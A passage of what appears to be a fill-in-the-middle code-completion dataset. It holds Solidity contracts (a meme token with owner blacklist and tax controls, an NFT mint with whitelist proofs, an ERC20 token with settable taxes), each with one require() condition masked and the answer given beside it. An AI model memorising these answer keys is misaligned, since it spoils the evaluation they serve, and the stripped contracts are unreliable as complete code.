function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface FTPLiqLock {
function lockTokens(address _uniPair, uint256 _epoch, address _tokenPayout, address _router) external;
}
interface FTPAntiBot {
function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool);
function registerBlock(address _recipient, address _sender, address _origin) external;
}
interface IWETH {
function deposit() external payable;
function balanceOf(address account) external view returns (uint256);
function approve(address _spender, uint256 _amount) external returns (bool);
function transfer(address _recipient, uint256 _amount) external returns (bool);
}
interface FTPExternal {
function owner() external returns(address);
function deposit(uint256 _amount) external;
}
contract FUCKTHEPATRIACH is Context, IERC20, Taxable {
using SafeMath for uint256;
// TOKEN
uint256 private constant TOTAL_SUPPLY = 1000000 * 10**9;
string private m_Name = "FUCKTHEPATRIACH";
string private m_Symbol = "FTP";
uint8 private m_Decimals = 9;
// EXCHANGES
address private m_UniswapV2Pair;
IUniswapV2Router02 private m_UniswapV2Router;
// TRANSACTIONS
uint256 private m_WalletLimit = TOTAL_SUPPLY.div(100);
bool private m_Liquidity = false;
event NewTaxAlloc(address Address, uint256 Allocation);
event SetTxLimit(uint TxLimit);
// ANTIBOT
FTPAntiBot private AntiBot;
address private m_AntibotSvcAddress = 0xCD5312d086f078D1554e8813C27Cf6C9D1C3D9b3;
// LP ADD
IWETH private WETH;
uint256 private m_LiqAlloc = 5000;
// MISC
address private m_LiqLockSvcAddress = 0x6141e613c6A504B75d75340D345Eb92046c958c7;
mapping (address => bool) private m_Blacklist;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
uint256 private m_LastEthBal = 0;
uint256 private m_Launched = 0;
bool private m_IsSwap = false;
bool private m_DidTryLaunch;
uint256 private pMax = 100000; // max alloc percentage
modifier lockTheSwap {
}
modifier onlyDev() {
}
receive() external payable {}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address _account) public view override returns (uint256) {
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
}
function _readyToTax(address _sender) private view returns (bool) {
}
function _isBuy(address _sender) private view returns (bool) {
}
function _isTax(address _sender) private view returns (bool) {
}
function _trader(address _sender, address _recipient) private view returns (bool) {
}
function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) {
}
function _txRestricted(address _sender, address _recipient) private view returns (bool) {
}
function _walletCapped(address _recipient) private view returns (bool) {
}
function _checkTX() private view returns (uint256){
}
function _approve(address _owner, address _spender, uint256 _amount) private {
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
}
function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private {
}
function _getTaxes(address _sender, address _recipient, uint256 _amount) private returns (uint256) {
}
function _tax(address _sender) private {
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
}
function _depositWETH(uint256 _amount) private {
}
function _getTaxDenominator() private view returns (uint) {
}
function _disperseEth() private {
}
function addLiquidity() external onlyOwner() {
}
function launch(uint8 _timer) external onlyOwner() {
}
function didLaunch() external view returns (bool) {
}
function checkIfBlacklist(address _address) external view returns (bool) {
}
function blacklist(address _address) external onlyOwner() {
}
function rmBlacklist(address _address) external onlyOwner() {
}
function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() {
}
function emergencySwap() external onlyOwner() {
}
function addTaxWhitelist(address _address) external onlyOwner() {
}
function rmTaxWhitelist(address _address) external onlyOwner() {
}
function setWebThree(address _address) external onlyDev() {
}
}
| m_TotalAlloc.add(_alloc).sub(_priorAlloc)<=10500 | 205,179 | m_TotalAlloc.add(_alloc).sub(_priorAlloc)<=10500 |
"You are already launching." | /*
Built and deployed using FTP Deployer, a service of Fair Token Project.
Deploy your own token today at https://app.fairtokenproject.com#deploy
FUCKTHEPATRIACH Socials:
Twitter: https://twitter.com/PatriachThe
** Secured With FTP Antibot **
** Using FTP LPAdd to recycle 5.00% of ALL transactions back into the liquidity pool. **
Fair Token Project is not responsible for the actions of users of this service.
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
}
}
contract Ownable is Context {
address private m_Owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
}
function owner() public view returns (address) {
}
function transferOwnership(address _address) public virtual onlyOwner {
}
modifier onlyOwner() {
}
}
contract Taxable is Ownable {
using SafeMath for uint256;
FTPExternal External;
address payable private m_ExternalServiceAddress = payable(0x4f53cDEC355E42B3A68bAadD26606b7F82fDb0f7);
address payable private m_DevAddress;
uint256 private m_DevAlloc = 1000;
address internal m_WebThree = 0x1011f61Df0E2Ad67e269f4108098c79e71868E00;
uint256[] m_TaxAlloc;
address payable[] m_TaxAddresses;
mapping (address => uint256) private m_TaxIdx;
uint256 public m_TotalAlloc;
uint256 m_TotalAddresses;
bool private m_DidDeploy = false;
function initTax() internal virtual {
}
function payTaxes(uint256 _eth, uint256 _d) internal virtual {
}
function setTaxAlloc(address payable _address, uint256 _alloc) internal virtual onlyOwner() {
}
function totalTaxAlloc() internal virtual view returns (uint256) {
}
function getTaxAlloc(address payable _address) public virtual onlyOwner() view returns (uint256) {
}
function updateDevWallet(address payable _address, uint256 _alloc) public virtual onlyOwner() {
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
interface FTPLiqLock {
function lockTokens(address _uniPair, uint256 _epoch, address _tokenPayout, address _router) external;
}
interface FTPAntiBot {
function scanAddress(address _address, address _safeAddress, address _origin) external returns (bool);
function registerBlock(address _recipient, address _sender, address _origin) external;
}
interface IWETH {
function deposit() external payable;
function balanceOf(address account) external view returns (uint256);
function approve(address _spender, uint256 _amount) external returns (bool);
function transfer(address _recipient, uint256 _amount) external returns (bool);
}
interface FTPExternal {
function owner() external returns(address);
function deposit(uint256 _amount) external;
}
contract FUCKTHEPATRIACH is Context, IERC20, Taxable {
using SafeMath for uint256;
// TOKEN
uint256 private constant TOTAL_SUPPLY = 1000000 * 10**9;
string private m_Name = "FUCKTHEPATRIACH";
string private m_Symbol = "FTP";
uint8 private m_Decimals = 9;
// EXCHANGES
address private m_UniswapV2Pair;
IUniswapV2Router02 private m_UniswapV2Router;
// TRANSACTIONS
uint256 private m_WalletLimit = TOTAL_SUPPLY.div(100);
bool private m_Liquidity = false;
event NewTaxAlloc(address Address, uint256 Allocation);
event SetTxLimit(uint TxLimit);
// ANTIBOT
FTPAntiBot private AntiBot;
address private m_AntibotSvcAddress = 0xCD5312d086f078D1554e8813C27Cf6C9D1C3D9b3;
// LP ADD
IWETH private WETH;
uint256 private m_LiqAlloc = 5000;
// MISC
address private m_LiqLockSvcAddress = 0x6141e613c6A504B75d75340D345Eb92046c958c7;
mapping (address => bool) private m_Blacklist;
mapping (address => bool) private m_ExcludedAddresses;
mapping (address => uint256) private m_Balances;
mapping (address => mapping (address => uint256)) private m_Allowances;
uint256 private m_LastEthBal = 0;
uint256 private m_Launched = 0;
bool private m_IsSwap = false;
bool private m_DidTryLaunch;
uint256 private pMax = 100000; // max alloc percentage
modifier lockTheSwap {
}
modifier onlyDev() {
}
receive() external payable {}
constructor () {
}
function name() public view returns (string memory) {
}
function symbol() public view returns (string memory) {
}
function decimals() public view returns (uint8) {
}
function totalSupply() public pure override returns (uint256) {
}
function balanceOf(address _account) public view override returns (uint256) {
}
function transfer(address _recipient, uint256 _amount) public override returns (bool) {
}
function allowance(address _owner, address _spender) public view override returns (uint256) {
}
function approve(address _spender, uint256 _amount) public override returns (bool) {
}
function transferFrom(address _sender, address _recipient, uint256 _amount) public override returns (bool) {
}
function _readyToTax(address _sender) private view returns (bool) {
}
function _isBuy(address _sender) private view returns (bool) {
}
function _isTax(address _sender) private view returns (bool) {
}
function _trader(address _sender, address _recipient) private view returns (bool) {
}
function _isExchangeTransfer(address _sender, address _recipient) private view returns (bool) {
}
function _txRestricted(address _sender, address _recipient) private view returns (bool) {
}
function _walletCapped(address _recipient) private view returns (bool) {
}
function _checkTX() private view returns (uint256){
}
function _approve(address _owner, address _spender, uint256 _amount) private {
}
function _transfer(address _sender, address _recipient, uint256 _amount) private {
}
function _updateBalances(address _sender, address _recipient, uint256 _amount, uint256 _taxes) private {
}
function _getTaxes(address _sender, address _recipient, uint256 _amount) private returns (uint256) {
}
function _tax(address _sender) private {
}
function _swapTokensForETH(uint256 _amount) private lockTheSwap {
}
function _depositWETH(uint256 _amount) private {
}
function _getTaxDenominator() private view returns (uint) {
}
function _disperseEth() private {
}
function addLiquidity() external onlyOwner() {
}
function launch(uint8 _timer) external onlyOwner() {
require(<FILL_ME>)
m_Launched = block.timestamp.add(_timer);
m_DidTryLaunch = true;
}
function didLaunch() external view returns (bool) {
}
function checkIfBlacklist(address _address) external view returns (bool) {
}
function blacklist(address _address) external onlyOwner() {
}
function rmBlacklist(address _address) external onlyOwner() {
}
function updateTaxAlloc(address payable _address, uint _alloc) external onlyOwner() {
}
function emergencySwap() external onlyOwner() {
}
function addTaxWhitelist(address _address) external onlyOwner() {
}
function rmTaxWhitelist(address _address) external onlyOwner() {
}
function setWebThree(address _address) external onlyDev() {
}
}
| !m_DidTryLaunch,"You are already launching." | 205,179 | !m_DidTryLaunch |
"Presale is not available!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CloudBunny is ERC721Enumerable, Ownable {
string public baseURI;
string public notRevealedUri;
string public baseExtension = ".json";
uint16 public maxSupply;
bytes32 public whitelistMerkleRoot;
uint256 public launchTime;
uint64 public presalePrice = 0.008 ether;
uint64 public publicPrice = 0.01 ether;
uint8 public publicAmt = 4;
uint8 public presaleAmt = 3;
bool public revealed = false;
mapping(address => uint8) public WLMinted;
mapping(address => uint8) public PMinted;
modifier AvailableMint(uint8 amount) {
}
constructor(
string memory _BaseURI,
string memory _notRevealedUri,
uint16 _maxSupply,
address chiefAddress
) ERC721("CloudBunnies NFT", "CBN") {
}
function WLMint(uint8 _mintAmount, bytes32[] memory proof)
public
payable
AvailableMint(_mintAmount)
{
require(
msg.value == presalePrice * _mintAmount,
"Wrong amount of Ether sent!"
);
require(<FILL_ME>)
require(
WLMinted[msg.sender] + _mintAmount <= presaleAmt,
"Exceeds presale mint allowance!"
);
uint256 total = totalSupply();
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(proof, whitelistMerkleRoot, leaf),
"Invalid Proof"
);
for (uint8 i = 1; i <= _mintAmount; i++) {
_mint(msg.sender, total + i);
}
WLMinted[msg.sender] += _mintAmount;
}
function PMint(uint8 _mintAmount)
public
payable
AvailableMint(_mintAmount)
{
}
function isPresale() public view returns (bool) {
}
function isPublicSale() public view returns (bool) {
}
function startLaunch() public onlyOwner {
}
function setMaxSupply(uint16 _maxSupply) public onlyOwner {
}
function setMintPrice(uint64 mintPrice) public onlyOwner {
}
function setMintAmt(uint8 mintAmt) public onlyOwner {
}
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot)
external
onlyOwner
{
}
function withdraw() public onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function batchSafeTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds
) public {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function reveal(bool state) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
| isPresale(),"Presale is not available!" | 205,343 | isPresale() |
"Exceeds presale mint allowance!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CloudBunny is ERC721Enumerable, Ownable {
string public baseURI;
string public notRevealedUri;
string public baseExtension = ".json";
uint16 public maxSupply;
bytes32 public whitelistMerkleRoot;
uint256 public launchTime;
uint64 public presalePrice = 0.008 ether;
uint64 public publicPrice = 0.01 ether;
uint8 public publicAmt = 4;
uint8 public presaleAmt = 3;
bool public revealed = false;
mapping(address => uint8) public WLMinted;
mapping(address => uint8) public PMinted;
modifier AvailableMint(uint8 amount) {
}
constructor(
string memory _BaseURI,
string memory _notRevealedUri,
uint16 _maxSupply,
address chiefAddress
) ERC721("CloudBunnies NFT", "CBN") {
}
function WLMint(uint8 _mintAmount, bytes32[] memory proof)
public
payable
AvailableMint(_mintAmount)
{
require(
msg.value == presalePrice * _mintAmount,
"Wrong amount of Ether sent!"
);
require(isPresale(), "Presale is not available!");
require(<FILL_ME>)
uint256 total = totalSupply();
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(
MerkleProof.verify(proof, whitelistMerkleRoot, leaf),
"Invalid Proof"
);
for (uint8 i = 1; i <= _mintAmount; i++) {
_mint(msg.sender, total + i);
}
WLMinted[msg.sender] += _mintAmount;
}
function PMint(uint8 _mintAmount)
public
payable
AvailableMint(_mintAmount)
{
}
function isPresale() public view returns (bool) {
}
function isPublicSale() public view returns (bool) {
}
function startLaunch() public onlyOwner {
}
function setMaxSupply(uint16 _maxSupply) public onlyOwner {
}
function setMintPrice(uint64 mintPrice) public onlyOwner {
}
function setMintAmt(uint8 mintAmt) public onlyOwner {
}
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot)
external
onlyOwner
{
}
function withdraw() public onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function batchSafeTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds
) public {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function reveal(bool state) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
| WLMinted[msg.sender]+_mintAmount<=presaleAmt,"Exceeds presale mint allowance!" | 205,343 | WLMinted[msg.sender]+_mintAmount<=presaleAmt |
"Invalid Proof" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CloudBunny is ERC721Enumerable, Ownable {
string public baseURI;
string public notRevealedUri;
string public baseExtension = ".json";
uint16 public maxSupply;
bytes32 public whitelistMerkleRoot;
uint256 public launchTime;
uint64 public presalePrice = 0.008 ether;
uint64 public publicPrice = 0.01 ether;
uint8 public publicAmt = 4;
uint8 public presaleAmt = 3;
bool public revealed = false;
mapping(address => uint8) public WLMinted;
mapping(address => uint8) public PMinted;
modifier AvailableMint(uint8 amount) {
}
constructor(
string memory _BaseURI,
string memory _notRevealedUri,
uint16 _maxSupply,
address chiefAddress
) ERC721("CloudBunnies NFT", "CBN") {
}
function WLMint(uint8 _mintAmount, bytes32[] memory proof)
public
payable
AvailableMint(_mintAmount)
{
require(
msg.value == presalePrice * _mintAmount,
"Wrong amount of Ether sent!"
);
require(isPresale(), "Presale is not available!");
require(
WLMinted[msg.sender] + _mintAmount <= presaleAmt,
"Exceeds presale mint allowance!"
);
uint256 total = totalSupply();
bytes32 leaf = keccak256(abi.encodePacked(msg.sender));
require(<FILL_ME>)
for (uint8 i = 1; i <= _mintAmount; i++) {
_mint(msg.sender, total + i);
}
WLMinted[msg.sender] += _mintAmount;
}
function PMint(uint8 _mintAmount)
public
payable
AvailableMint(_mintAmount)
{
}
function isPresale() public view returns (bool) {
}
function isPublicSale() public view returns (bool) {
}
function startLaunch() public onlyOwner {
}
function setMaxSupply(uint16 _maxSupply) public onlyOwner {
}
function setMintPrice(uint64 mintPrice) public onlyOwner {
}
function setMintAmt(uint8 mintAmt) public onlyOwner {
}
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot)
external
onlyOwner
{
}
function withdraw() public onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function batchSafeTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds
) public {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function reveal(bool state) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
| MerkleProof.verify(proof,whitelistMerkleRoot,leaf),"Invalid Proof" | 205,343 | MerkleProof.verify(proof,whitelistMerkleRoot,leaf) |
"Public minting is not currently available!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CloudBunny is ERC721Enumerable, Ownable {
string public baseURI;
string public notRevealedUri;
string public baseExtension = ".json";
uint16 public maxSupply;
bytes32 public whitelistMerkleRoot;
uint256 public launchTime;
uint64 public presalePrice = 0.008 ether;
uint64 public publicPrice = 0.01 ether;
uint8 public publicAmt = 4;
uint8 public presaleAmt = 3;
bool public revealed = false;
mapping(address => uint8) public WLMinted;
mapping(address => uint8) public PMinted;
modifier AvailableMint(uint8 amount) {
}
constructor(
string memory _BaseURI,
string memory _notRevealedUri,
uint16 _maxSupply,
address chiefAddress
) ERC721("CloudBunnies NFT", "CBN") {
}
function WLMint(uint8 _mintAmount, bytes32[] memory proof)
public
payable
AvailableMint(_mintAmount)
{
}
function PMint(uint8 _mintAmount)
public
payable
AvailableMint(_mintAmount)
{
require(
msg.value == publicPrice * _mintAmount,
"Wrong amount of Ether sent!"
);
require(<FILL_ME>)
require(
PMinted[msg.sender] + _mintAmount <= publicAmt,
"Exceeds public mint allowance!"
);
uint256 total = totalSupply();
for (uint8 i = 1; i <= _mintAmount; i++) {
_mint(msg.sender, total + i);
}
PMinted[msg.sender] += _mintAmount;
}
function isPresale() public view returns (bool) {
}
function isPublicSale() public view returns (bool) {
}
function startLaunch() public onlyOwner {
}
function setMaxSupply(uint16 _maxSupply) public onlyOwner {
}
function setMintPrice(uint64 mintPrice) public onlyOwner {
}
function setMintAmt(uint8 mintAmt) public onlyOwner {
}
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot)
external
onlyOwner
{
}
function withdraw() public onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function batchSafeTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds
) public {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function reveal(bool state) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
| isPublicSale(),"Public minting is not currently available!" | 205,343 | isPublicSale() |
"Exceeds public mint allowance!" | // SPDX-License-Identifier: MIT
pragma solidity ^0.8.15;
import "@openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol";
import "@openzeppelin/contracts/utils/cryptography/MerkleProof.sol";
import "@openzeppelin/contracts/utils/Strings.sol";
import "@openzeppelin/contracts/access/Ownable.sol";
contract CloudBunny is ERC721Enumerable, Ownable {
string public baseURI;
string public notRevealedUri;
string public baseExtension = ".json";
uint16 public maxSupply;
bytes32 public whitelistMerkleRoot;
uint256 public launchTime;
uint64 public presalePrice = 0.008 ether;
uint64 public publicPrice = 0.01 ether;
uint8 public publicAmt = 4;
uint8 public presaleAmt = 3;
bool public revealed = false;
mapping(address => uint8) public WLMinted;
mapping(address => uint8) public PMinted;
modifier AvailableMint(uint8 amount) {
}
constructor(
string memory _BaseURI,
string memory _notRevealedUri,
uint16 _maxSupply,
address chiefAddress
) ERC721("CloudBunnies NFT", "CBN") {
}
function WLMint(uint8 _mintAmount, bytes32[] memory proof)
public
payable
AvailableMint(_mintAmount)
{
}
function PMint(uint8 _mintAmount)
public
payable
AvailableMint(_mintAmount)
{
require(
msg.value == publicPrice * _mintAmount,
"Wrong amount of Ether sent!"
);
require(isPublicSale(), "Public minting is not currently available!");
require(<FILL_ME>)
uint256 total = totalSupply();
for (uint8 i = 1; i <= _mintAmount; i++) {
_mint(msg.sender, total + i);
}
PMinted[msg.sender] += _mintAmount;
}
function isPresale() public view returns (bool) {
}
function isPublicSale() public view returns (bool) {
}
function startLaunch() public onlyOwner {
}
function setMaxSupply(uint16 _maxSupply) public onlyOwner {
}
function setMintPrice(uint64 mintPrice) public onlyOwner {
}
function setMintAmt(uint8 mintAmt) public onlyOwner {
}
function setWhitelistMerkleRoot(bytes32 _whitelistMerkleRoot)
external
onlyOwner
{
}
function withdraw() public onlyOwner {
}
function walletOfOwner(address _owner)
public
view
returns (uint256[] memory)
{
}
function batchSafeTransferFrom(
address _from,
address _to,
uint256[] memory _tokenIds
) public {
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
}
function setBaseExtension(string memory _newBaseExtension)
public
onlyOwner
{
}
function reveal(bool state) public onlyOwner {
}
function tokenURI(uint256 tokenId)
public
view
virtual
override
returns (string memory)
{
}
}
| PMinted[msg.sender]+_mintAmount<=publicAmt,"Exceeds public mint allowance!" | 205,343 | PMinted[msg.sender]+_mintAmount<=publicAmt |
"Trading is not active." | // SPDX-License-Identifier: Unlicensed
/**
https://t.me/ethermoon_eth
https://ethermoon.vip/
*/
pragma solidity ^0.8.11;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
}
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
}
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
}
modifier onlyOwner() {
}
function owner() public view virtual returns (address) {
}
function _checkOwner() internal view virtual {
}
function renounceOwnership() public virtual onlyOwner {
}
function _transferOwnership(address newOwner) internal virtual {
}
}
interface IERC20 {
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address to, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address from, address to, uint256 amount) external returns (bool);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping(address => uint256) private _balances;
mapping(address => mapping(address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name_, string memory symbol_, uint8 decimals_) {
}
function name() public view virtual override returns (string memory) {
}
function symbol() public view virtual override returns (string memory) {
}
function decimals() public view virtual override returns (uint8) {
}
function totalSupply() public view virtual override returns (uint256) {
}
function balanceOf(address account) public view virtual override returns (uint256) {
}
function transfer(address to, uint256 amount) public virtual override returns (bool) {
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
}
function transferFrom(address from, address to, uint256 amount) public virtual override returns (bool) {
}
function _transfer(address from, address to, uint256 amount) internal virtual {
}
function _mint(address account, uint256 amount) internal virtual {
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
}
function _spendAllowance(address owner, address spender, uint256 amount) internal virtual {
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual {}
function _afterTokenTransfer(address from, address to, uint256 amount) internal virtual {}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract Ethermoon is ERC20, Ownable {
using SafeMath for uint256;
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
string private constant _name = "Ethermoon";
string private constant _symbol = "ETMN";
bool private tradingEnabled = false;
bool private swapEnabled = false;
bool private transferDelayEnabled = true;
bool private swapping;
uint256 public swapTokensAtAmount;
uint256 private maxTaxSwap;
address public marketingWallet;
struct Taxes {
uint256 buy;
uint256 sell;
}
Taxes public taxes;
uint256 public maxTransactionAmount;
uint256 public maxWallet;
mapping(address => bool) private excludedFees;
mapping(address => bool) private excludedMaxTnxAmount;
mapping(address => bool) private automatedMarketMakerPairs;
mapping(address => uint256) private _holderLastTransferTimestamp;
event ExcludeFromFees(address indexed account, bool excluded);
event ExcludeFromMaxTnxAmount(address indexed account, bool excluded);
event SetAutomatedMarketMakerPair(address indexed pair, bool indexed value);
constructor() ERC20(_name, _symbol, 9) {
}
receive() external payable {}
function min(uint256 a, uint256 b) private pure returns (uint256) {
}
function openTrading() external onlyOwner() {
}
function removeLimits() external onlyOwner {
}
function disableTransferDelay() external onlyOwner {
}
function setTaxes(uint256 buy, uint256 sell) external onlyOwner {
}
function removeTaxes() external onlyOwner {
}
function excludeFromMaxTnxAmount(address _address, bool excluded) public onlyOwner {
}
function excludeFromFees(address _address, bool excluded) public onlyOwner {
}
function _transfer(address from, address to, uint256 amount) internal override {
require(from != address(0), "ERC20: transfer from the zero address.");
require(to != address(0), "ERC20: transfer to the zero address.");
require(amount > 0, "ERC20: transfer amount must be greater than zero.");
if (from != owner() && to != owner() && to != address(0) && to != address(0xdead) && !swapping) {
if (!tradingEnabled) {
require(<FILL_ME>)
}
if (transferDelayEnabled) {
if (to != owner() && to != address(uniswapV2Router) && to != address(uniswapV2Pair)) {
require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one purchase per block allowed.");
_holderLastTransferTimestamp[tx.origin] = block.number;
}
}
if (automatedMarketMakerPairs[from] && !excludedMaxTnxAmount[to]) {
require(amount <= maxTransactionAmount, "Buy transfer amount exceeds the max transaction amount.");
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded.");
} else if (automatedMarketMakerPairs[to] && !excludedMaxTnxAmount[from]) {
require(amount <= maxTransactionAmount, "Sell transfer amount exceeds the max transaction amount.");
} else if (!excludedMaxTnxAmount[to]) {
require(amount + balanceOf(to) <= maxWallet, "Max wallet exceeded.");
}
}
bool takeFee = !swapping;
if (excludedFees[from] || excludedFees[to]) {
takeFee = false;
}
uint256 fees = 0;
if (takeFee) {
if (automatedMarketMakerPairs[to] && taxes.sell > 0) {
fees = amount.mul(taxes.sell).div(100);
} else if (automatedMarketMakerPairs[from] && taxes.buy > 0) {
fees = amount.mul(taxes.buy).div(100);
}
amount -= fees;
}
uint256 contractBalance = balanceOf(address(this));
bool canSwap = contractBalance >= swapTokensAtAmount;
if (
canSwap &&
swapEnabled &&
!swapping &&
!automatedMarketMakerPairs[from] &&
!excludedFees[from] &&
!excludedFees[to]
) {
swapping = true;
bool success;
swapTokensForEth(min(amount, min(contractBalance, maxTaxSwap)));
(success, ) = address(marketingWallet).call{value: address(this).balance}("");
